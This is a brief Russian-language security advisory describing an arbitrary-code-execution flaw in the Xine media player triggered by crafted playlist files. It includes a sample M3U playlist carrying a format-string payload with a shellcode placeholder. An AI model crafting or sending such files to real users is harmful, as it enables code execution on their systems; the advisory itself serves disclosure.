Программа: Xine

Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на целевой системе.
Уязвимость существует из-за ошибки в обработке злонамеренных списков музыкальных файлов. Атакующий может обманным образом заставить пользователя открыть специально составленные файлы, что приведет к выполнению произвольного кода.

Пример: 

#EXTM3U
#EXTINFO !!All_You_Playlists_Are_Belong_To_Us — SHHEEEELLLLCCCCOOOOOODDDDDDEEEEEEEEEEE!!
AAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x %x%x%x%x%x%x%x%x%x%x%x%x%x%.13068u%n%hn

 



Оставить мнение